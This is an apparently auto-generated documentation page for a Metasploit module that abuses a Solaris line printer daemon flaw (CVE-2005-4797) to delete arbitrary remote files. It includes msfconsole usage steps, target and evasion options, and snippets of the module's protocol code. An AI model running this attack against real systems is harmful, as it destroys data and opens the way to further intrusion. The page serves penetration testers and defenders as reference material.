Solaris LPD Arbitrary File Delete - Metasploit
This page contains detailed information about how to use the auxiliary/dos/solaris/lpd/cascade_delete metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Solaris LPD Arbitrary File Delete
Module: auxiliary/dos/solaris/lpd/cascade_delete
Source code: modules/auxiliary/dos/solaris/lpd/cascade_delete.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 515
List of CVEs: CVE-2005-4797
This module uses a vulnerability in the Solaris line printer daemon to delete arbitrary files on an affected system. This can be used to exploit the rpc.walld format string flaw, the missing krb5.conf authentication bypass, or simply delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/solaris/lpd/cascade_delete
msf auxiliary(cascade_delete) > show targets
... a list of targets ...
msf auxiliary(cascade_delete) > set TARGET target-id
msf auxiliary(cascade_delete) > show options
... show and set options ...
msf auxiliary(cascade_delete) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH: The remote file path to delete
Go back to menu.
Msfconsole Usage
Here is how the dos/solaris/lpd/cascade_delete auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/solaris/lpd/cascade_delete
msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show info
Name: Solaris LPD Arbitrary File Delete
Module: auxiliary/dos/solaris/lpd/cascade_delete
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
hdm <[email protected]>
Optyx <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH yes The remote file path to delete
RPORT 515 yes The target port (TCP)
Description:
This module uses a vulnerability in the Solaris line printer daemon
to delete arbitrary files on an affected system. This can be used to
exploit the rpc.walld format string flaw, the missing krb5.conf
authentication bypass, or simply delete system files. Tested on
Solaris 2.6, 7, 8, 9, and 10.
References:
https://nvd.nist.gov/vuln/detail/CVE-2005-4797
http://www.securityfocus.com/bid/14510
OSVDB (18650)
Module Options
This is a complete list of options available in the dos/solaris/lpd/cascade_delete auxiliary module:
msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show options
Module options (auxiliary/dos/solaris/lpd/cascade_delete):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH yes The remote file path to delete
RPORT 515 yes The target port (TCP)
Advanced Options
Here is a complete list of advanced options supported by the dos/solaris/lpd/cascade_delete auxiliary module:
msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show advanced
Module advanced options (auxiliary/dos/solaris/lpd/cascade_delete):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/solaris/lpd/cascade_delete module can do:
msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/solaris/lpd/cascade_delete auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/solaris/lpd/cascade_delete) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The target did not accept our job request command
Here is a relevant code snippet related to the "The target did not accept our job request command" error message:
53:
54: # Request a cascaded job
55: sock1.put("\x02#{r_hostname}:#{r_spool}\n")
56: res = sock1.get_once
57: if (not res)
58: print_status("The target did not accept our job request command")
59: return
60: end
61:
62: # Theoretically, we could delete multiple files at once, however
63: # the lp daemon will append garbage from memory to the path name
The target did not accept our control file command (<NAME>)
Here is a relevant code snippet related to the "The target did not accept our control file command (<NAME>)" error message:
83: def send_file(s, type, name, data='')
84:
85: s.put(type.chr + data.length.to_s + " " + name + "\n")
86: res = s.get_once(1)
87: if !(res and res[0] == ?\0)
88: print_status("The target did not accept our control file command (#{name})")
89: return
90: end
91:
92: s.put(data)
93: s.put("\x00")
The target did not accept our control file data (<NAME>)
Here is a relevant code snippet related to the "The target did not accept our control file data (<NAME>)" error message:
91:
92: s.put(data)
93: s.put("\x00")
94: res = s.get_once(1)
95: if !(res and res[0] == ?\0)
96: print_status("The target did not accept our control file data (#{name})")
97: return
98: end
99:
100: print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
101: return true
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #448 Merged Pull Request: Correct emails for aux and exploit modules
References
- CVE-2005-4797
- BID-14510
- OSVDB (18650)
See Also
Check also the following modules related to this module:
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- exploit/solaris/dtspcd/heap_noir
- exploit/solaris/local/extremeparr_dtappgather_priv_esc
- exploit/solaris/local/libnspr_nspr_log_file_priv_esc
- exploit/solaris/local/rsh_stack_clash_priv_esc
- exploit/solaris/local/xscreensaver_log_priv_esc
- exploit/solaris/lpd/sendmail_exec
- exploit/solaris/samba/lsa_transnames_heap
- exploit/solaris/samba/trans2open
- exploit/solaris/ssh/pam_username_bof
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- payload/solaris/sparc/shell_bind_tcp
- payload/solaris/sparc/shell_find_port
- payload/solaris/sparc/shell_reverse_tcp
- payload/solaris/x86/shell_bind_tcp
- payload/solaris/x86/shell_find_port
- payload/solaris/x86/shell_reverse_tcp
- post/solaris/escalate/pfexec
- post/solaris/escalate/srsexec_readline
- post/solaris/gather/checkvm
- post/solaris/gather/enum_packages
- post/solaris/gather/enum_services
- post/solaris/gather/hashdump
- auxiliary/admin/http/mutiny_frontend_read_delete
- auxiliary/admin/smb/delete_file
- auxiliary/dos/sap/sap_soap_rfc_eps_delete_file
- auxiliary/scanner/printer/printer_delete_file
- exploit/osx/browser/adobe_flash_delete_range_tl_op
- exploit/windows/fileformat/mcafee_hercules_deletesnapshot
- exploit/windows/imap/imail_delete
- post/windows/manage/delete_user
- auxiliary/admin/http/novell_file_reporter_filedelete
- exploit/hpux/lpd/cleanup_exec
- exploit/irix/lpd/tagprinter_exec
- exploit/windows/lpd/hummingbird_exceed
- exploit/windows/lpd/niprint
- exploit/windows/lpd/saplpd
- exploit/windows/lpd/wincomlpd_admin
- auxiliary/gather/cerberus_helpdesk_hash_disclosure
- exploit/windows/fileformat/coolpdf_image_stream_bof
- exploit/windows/fileformat/corelpdf_fusion_bof
Authors
- hdm
- Optyx <optyx[at]uberhax0r.net>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.